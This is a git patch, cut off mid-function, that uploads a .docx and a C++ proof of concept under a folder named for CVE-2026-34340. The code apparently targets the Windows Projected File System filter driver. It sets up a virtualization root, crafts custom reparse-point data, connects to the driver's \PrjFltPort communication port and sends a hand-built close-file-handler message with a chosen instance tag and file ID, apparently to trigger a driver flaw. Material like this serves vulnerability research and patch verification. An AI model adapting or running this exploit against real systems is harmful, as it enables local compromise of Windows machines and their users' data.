From a793a1805d3a5fad411a14dce4c75ac119fe99e9 Mon Sep 17 00:00:00 2001 From: seasecresponse Date: Sat, 18 Jul 2026 18:49:39 +0000 Subject: [PATCH] Upload files to "CVE-2026-34340" --- CVE-2026-34340/PrjFlt10.docx | Bin 0 -> 10416 bytes CVE-2026-34340/PrjFltTest10.cpp | 805 ++++++++++++++++++++++++++++++++ 2 files changed, 805 insertions(+) create mode 100644 CVE-2026-34340/PrjFlt10.docx create mode 100644 CVE-2026-34340/PrjFltTest10.cpp diff --git a/CVE-2026-34340/PrjFlt10.docx b/CVE-2026-34340/PrjFlt10.docx new file mode 100644 index 0000000000000000000000000000000000000000..111d510ccfd8168d2f31720d143f885340efe32c GIT binary patch literal 10416 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 Hzd!vCyDPvR literal 0 HcmV?d00001 diff --git a/CVE-2026-34340/PrjFltTest10.cpp b/CVE-2026-34340/PrjFltTest10.cpp new file mode 100644 index 0000000..5706650 --- /dev/null +++ b/CVE-2026-34340/PrjFltTest10.cpp @@ -0,0 +1,805 @@ + +#include +#include +#include +#include +#pragma comment(lib, "projectedfslib.lib") +#pragma comment(lib, "FltLib.lib") + +#include "ntdll.h" +#pragma comment(lib, "ntdll") + + +PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT gInstanceHandle; +HANDLE ghPort = 0; + +struct __declspec(align(4)) _PRJ_CONNECTION_CONTEXT +{ + GUID virtualizationInstanceID; + unsigned int Version; + USHORT VolumeLength; + WCHAR szVolume[256]; +}; + + +void PrintInstanceId() { + PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo; + HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + OLECHAR* guidString; + StringFromCLSID(InstanceInfo.InstanceID, &guidString); + wprintf(L"InstanceId: %s\n", guidString); + + + LPCOLESTR lpsz = guidString; + GUID InstanceId; + hr = CLSIDFromString(lpsz, &InstanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + CoTaskMemFree(guidString); +} + +void CreateVirtualizationRoot() { + + const wchar_t* PrjRootName = LR"(c:\PrjTest)"; + CreateDirectoryW(PrjRootName, nullptr); + + + HRESULT hr; + const wchar_t* rootName = LR"(c:\PrjTest\virtRoot)"; + + DeleteFileW(rootName); + RemoveDirectoryW(rootName); + + if (!CreateDirectoryW(rootName, nullptr)) + { + DWORD gle = GetLastError(); + if (gle != ERROR_ALREADY_EXISTS) { + hr = HRESULT_FROM_WIN32(gle); + wprintf(L"Failed to create virtualization root (0x%08x)\n", hr); + } + + return; + } + + + GUID instanceId; + + hr = CoCreateGuid(&instanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + return; + } + + hr = PrjMarkDirectoryAsPlaceholder(rootName, + nullptr, + nullptr, + &instanceId); + if (FAILED(hr)) + { + wprintf(L"Failed to mark virtualization root (0x%08x)\n", hr); + return; + } + +} + +HRESULT PrjStartEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId +) +{ + printf("MyStartEnumCallback\n"); + return S_OK; +} + +HRESULT PrjEndEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId +) +{ + printf("MyEndEnumCallback\n"); + return S_OK; +} + +HRESULT PrjGetEnumCallback( + const PRJ_CALLBACK_DATA* callbackData, + const GUID* enumerationId, + PCWSTR searchExpression, + PRJ_DIR_ENTRY_BUFFER_HANDLE dirEntryBufferHandle +) +{ + //printf("PrjGetEnumCallback\n"); + return S_OK; +} + +HRESULT PrjGetPlaceholderInfoCallback( + const PRJ_CALLBACK_DATA* callbackData +) +{ + printf("PrjGetPlaceholderInfoCallback\n"); + return S_OK; +} + +HRESULT PrjGetFileDataCallback( + const PRJ_CALLBACK_DATA* callbackData, + UINT64 byteOffset, + UINT32 length +) +{ + printf("PrjGetFileDataCallback\n"); + return S_OK; +} + +HRESULT PrjQueryFileNameCallback( + const PRJ_CALLBACK_DATA* callbackData +) +{ + printf("PrjQueryFileNameCallback\n"); + return S_OK; +} + +HRESULT PrjNotificationCallback( + _In_ const PRJ_CALLBACK_DATA* callbackData, + _In_ BOOLEAN isDirectory, + _In_ PRJ_NOTIFICATION notification, + _In_opt_ PCWSTR destinationFileName, + _Inout_ PRJ_NOTIFICATION_PARAMETERS* operationParameters +) +{ + printf("PrjNotificationCallback\n"); + return S_OK; +} + + +VOID PrjCancelCommandCallback( + _In_ const PRJ_CALLBACK_DATA* callbackData +) { + return; +} + + +void StartVirtualizatioInstance() { + PRJ_CALLBACKS callbackTable; + + // Supply required callbacks. + callbackTable.StartDirectoryEnumerationCallback = PrjStartEnumCallback; + callbackTable.EndDirectoryEnumerationCallback = PrjEndEnumCallback; + callbackTable.GetDirectoryEnumerationCallback = PrjGetEnumCallback; + callbackTable.GetPlaceholderInfoCallback = PrjGetPlaceholderInfoCallback; + callbackTable.GetFileDataCallback = PrjGetFileDataCallback; + + // The rest of the callbacks are optional. + callbackTable.QueryFileNameCallback = PrjQueryFileNameCallback; + callbackTable.NotificationCallback = PrjNotificationCallback; + callbackTable.CancelCommandCallback = PrjCancelCommandCallback; + + HRESULT hr; + const wchar_t* rootName = LR"(c:\PrjTest\virtRoot)"; + + PRJ_NOTIFICATION_MAPPING NotificationMappings; + NotificationMappings.NotificationBitMask = PRJ_NOTIFY_FILE_PRE_CONVERT_TO_FULL; + NotificationMappings.NotificationRoot = L""; + + PRJ_STARTVIRTUALIZING_OPTIONS options; + memset(&options, 0, sizeof(options)); + options.NotificationMappingsCount = 1; + options.NotificationMappings = &NotificationMappings; + + PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT instanceHandle; + hr = PrjStartVirtualizing(rootName, + &callbackTable, + nullptr, + &options, + &instanceHandle); + if (FAILED(hr)) + { + wprintf(L"Failed to start the virtualization instance (0x%08x)\n", hr); + return; + } + + gInstanceHandle = instanceHandle; +} + +struct _PRJ_REPARSE_DATA +{ + int Version; + int dwFlags; + GUID virtualizationInstanceID; + PRJ_PLACEHOLDER_VERSION_INFO PlaceHolderVersionInfo; + unsigned __int16 PlaceHolderRelPathLength; + WCHAR szPlaceHolderRelPathBuffer[1]; + +}; + +struct _PRJ_REPARSE_DATA_BUFFER +{ + ULONG ReparseTag; + USHORT ReparseDataLength; + USHORT Reserved; + _PRJ_REPARSE_DATA ReparseData; +}; + +HRESULT CreateFileWithReparsePoint( + PHANDLE pFileHandle, + LPCWSTR lpcwFileName, + _PRJ_REPARSE_DATA* ReparseData, + USHORT ReparseDataLength, + int Tag, + bool bDir) { + + const WCHAR* ErrorMessage; // rdi + USHORT BufferLength; // bx + ULONG hr; // ebx MAPDST + _PRJ_REPARSE_DATA_BUFFER* ReparseDataBuffer; // rax MAPDST + int LastError; // eax + ULONG Size; // eax + size_t Length; // rax + + *pFileHandle = NULL; + + ErrorMessage = 0i64; + BufferLength = ReparseDataLength + 8; + if ((unsigned __int16)(ReparseDataLength + 8) > 0x4000u + || ReparseDataLength != ReparseData->PlaceHolderRelPathLength + 0x11A) + { + hr = 0x80070057; // E_INVALIDARG + goto LABEL_12; + } + ReparseDataBuffer = (_PRJ_REPARSE_DATA_BUFFER*)calloc(1ui64, (unsigned __int16)(ReparseDataLength + 8)); + if (!ReparseDataBuffer) + { + hr = 0x8007000E; // E_OUTOFMEMORY + LABEL_12: + Size = 2; + + return hr; + } + ReparseDataBuffer->ReparseTag = Tag; + ReparseDataBuffer->ReparseDataLength = ReparseDataLength; + memcpy(&ReparseDataBuffer->ReparseData, ReparseData, ReparseDataLength); + + //HANDLE FileHandle = CreateFileW(lpcwFileName, FILE_WRITE_ATTRIBUTES, 7u, 0i64, OPEN_ALWAYS, 0x2200000u, 0i64); + + UNICODE_STRING usFileName = { 0 }; + + RtlInitUnicodeString(&usFileName, (PWSTR)lpcwFileName); + OBJECT_ATTRIBUTES ObjectAttributes = { 0 }; + ObjectAttributes.Length = 0x30; + ObjectAttributes.ObjectName = &usFileName; + + ULONG FileAttributes = FILE_ATTRIBUTE_NORMAL; + ULONG CreateOptions = FILE_SYNCHRONOUS_IO_ALERT; + + if (bDir) { + CreateOptions = CreateOptions | FILE_DIRECTORY_FILE; + } + + IO_STATUS_BLOCK IoStatusBlock = { 0 }; + HANDLE FileHandle = NULL; + + int Status = NtCreateFile( + &FileHandle, + FILE_WRITE_ATTRIBUTES | SYNCHRONIZE | FILE_WRITE_DATA, + &ObjectAttributes, + &IoStatusBlock, + 0i64, + FileAttributes, + FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, + FILE_OPEN_IF, + CreateOptions, + NULL, + 0); + + if (DeviceIoControl(FileHandle, 0x900A4u, ReparseDataBuffer, BufferLength, 0i64, 0, 0i64, 0i64))// FSCTL_SET_REPARSE_POINT + { + hr = 0; + } + else + { + LastError = GetLastError(); + hr = LastError; + if (LastError > 0) + hr = (unsigned __int16)LastError | 0x80070000; + ErrorMessage = L"Failed to send FSCTL_SET_REPARSE_POINT"; + } + free(ReparseDataBuffer); + if (hr) + goto LABEL_12; + + + *pFileHandle = FileHandle; + + return hr; + +} + + +_PRJ_REPARSE_DATA* CreateReparseData(PCWSTR szRelPath, DWORD dwFlags, PUSHORT pLength) { + USHORT RelPathLength = MAX_PATH; + USHORT Length = RelPathLength + 0x11A; + _PRJ_REPARSE_DATA* ReparseData = (_PRJ_REPARSE_DATA*)calloc(1ui64, Length); + + ReparseData->Version = 2; + ReparseData->PlaceHolderRelPathLength = RelPathLength; + ReparseData->dwFlags = dwFlags; + + if (RelPathLength) { + memcpy(ReparseData->szPlaceHolderRelPathBuffer, szRelPath, RelPathLength); + } + + *pLength = Length; + return ReparseData; +} + +void PortInit() { + + static HANDLE hPort = NULL; + static GUID InstanceId; + + PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo; + HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo); + InstanceId = InstanceInfo.InstanceID; + + + //PrjStopVirtualizing(gInstanceHandle); + + _PRJ_CONNECTION_CONTEXT Context; + Context.VolumeLength = 0x100; + Context.Version = 1; + Context.virtualizationInstanceID = InstanceId; + wcscpy_s(Context.szVolume, L"c:\\"); + ULONG SizeOfContext = sizeof(_PRJ_CONNECTION_CONTEXT); + + HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, &Context, SizeOfContext, NULL, &hPort); + //HRESULT hResult = FilterConnectCommunicationPort(L"\\PrjFltPort", 0, NULL, 0, NULL, &hPort); + + printf("FilterConnectCommunicationPort hResult:%x\thPort:%x\n", hResult, hPort); + + ghPort = hPort; + +} + +struct _PRJ_MSG_IN_HEADER +{ + int MessageType; + int InputBufferSize; +}; + + +struct _PRJ_VIR_INSTANCE_INFO +{ + GUID virtualizationInstanceID; + int Tag; +}; + +struct _PRJ_MSG_CLOSE_FILE_HANDLER_IN_DATA +{ + _PRJ_VIR_INSTANCE_INFO VirInstanceInfo; + char _1c[60]; + UUID FileId; + +}; + +struct _PRJ_MSG_CLOSE_FILE_HANDLER +{ + _PRJ_MSG_IN_HEADER Header; + _PRJ_MSG_CLOSE_FILE_HANDLER_IN_DATA Data; +}; + +struct _PRJ_MSG_CLOSE_FILE_HANDLER_OUT_DATA +{ + int MessageType; + int Size; + int Status; +}; + +GUID GetInstanceId() { + GUID InstanceId = { 0 }; + + PRJ_VIRTUALIZATION_INSTANCE_INFO InstanceInfo; + HRESULT hr = PrjGetVirtualizationInstanceInfo(gInstanceHandle, &InstanceInfo); + if (FAILED(hr)) + { + wprintf(L"Failed to create instance ID (0x%08x)\n", hr); + + return InstanceId; + } + InstanceId = InstanceInfo.InstanceID; + + return InstanceId; +} + +void PrjCloseFileHandler(HANDLE hPort, UUID FileId) +{ + + DWORD InputBufferLength = 0x1000; + PVOID InputBuffer = malloc(InputBufferLength); + + DWORD OutputBufferLength = 0x1000; + PVOID OutputBuffer = malloc(OutputBufferLength); + + memset(InputBuffer, 0, InputBufferLength); + memset(OutputBuffer, 0, OutputBufferLength); + + DWORD BytesReturned = 0; + + _PRJ_MSG_CLOSE_FILE_HANDLER Message = { 0 }; + + memset(&Message, 0, sizeof(Message)); + + Message.Header.MessageType = 0xa; + Message.Header.InputBufferSize = sizeof(Message); + + + Message.Data.VirInstanceInfo.Tag = 0x9000001C; + Message.Data.VirInstanceInfo.virtualizationInstanceID = GetInstanceId(); + Message.Data.FileId = FileId; + + memcpy(InputBuffer, &Message, sizeof(Message)); + InputBufferLength = Message.Header.InputBufferSize; + + HRESULT hResult = FilterSendMessage(hPort, InputBuffer, InputBufferLength, OutputBuffer, OutputBufferLength, &BytesReturned); + printf("FilterSendMessage hResult:%x\n", hResult); + + _PRJ_MSG_CLOSE_FILE_HANDLER_OUT_DATA* pOutData = (_PRJ_MSG_CLOSE_FILE_HANDLER_OUT_DATA*)OutputBuffer; + + + return; +} + + + +HRESULT __fastcall PrjpConstructLongPath(PCWSTR szFilePath, PCWSTR* pszLongPath2, PCWSTR* pszLongPath) +{ + unsigned __int64 Length; // rbx + const WCHAR* szLongPath; // rax + + Length = 0xFFFFFFFFFFFFFFFFui64; + do + ++Length; + while (szFilePath[Length]); + *pszLongPath2 = 0i64; + if (Length < 0x104 || !wcsncmp(szFilePath, L"\\\\?\\", 4ui64)) + { + *pszLongPath = szFilePath; + } + else + { + szLongPath = (WCHAR*)calloc(Length + 5, 2ui64); + *pszLongPath2 = szLongPath; + if (!szLongPath) + return 0x8007000E; // E_OUTOFMEMORY + if ((unsigned int)wcsncpy_s((PWSTR)szLongPath, Length + 5, L"\\\\?\\", 4i64) + || (unsigned 